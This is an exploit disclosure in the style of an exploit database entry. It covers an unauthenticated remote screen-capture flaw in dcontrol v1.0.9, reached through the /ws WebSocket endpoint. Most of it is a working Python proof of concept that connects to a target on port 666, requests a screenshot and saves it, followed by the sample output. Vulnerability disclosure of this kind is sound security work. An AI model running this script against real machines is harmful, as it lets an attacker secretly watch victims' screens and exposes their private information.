# Exploit Title: dcontrol v1.0.9 - Unauthenticated Remote Screen Capture
# Date: 2026-04-18
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://github.com/dhjz/dcontrol
# Software Link:
https://github.com/dhjz/dcontrol/releases/download/1.0.9/dcontrol.exe
# Version: 1.0.9
# Tested on: Windows 10, Windows 11
# Description:
dcontrol v1.0.9 is vulnerable to unauthenticated remote screen capture via
the
WebSocket endpoint (/ws). The application allows any client to connect to
the
WebSocket without authentication and request screenshots of the target
system's
display by sending a "screen" message. This enables an attacker to remotely
surveil the victim's screen in real-time.
# Proof of Concept:
Python script to capture screenshot:
import asyncio
import websockets
import gzip
async def capture():
async with websockets.connect('ws://TARGET_IP:666/ws') as ws:
await ws.send('screen,50')
data = await ws.recv()
decompressed = gzip.decompress(data)
with open('screenshot.jpg', 'wb') as f:
f.write(decompressed)
print('[+] Screenshot captured!')
asyncio.run(capture())
$python poc.py
[+] Screenshot captured!Data
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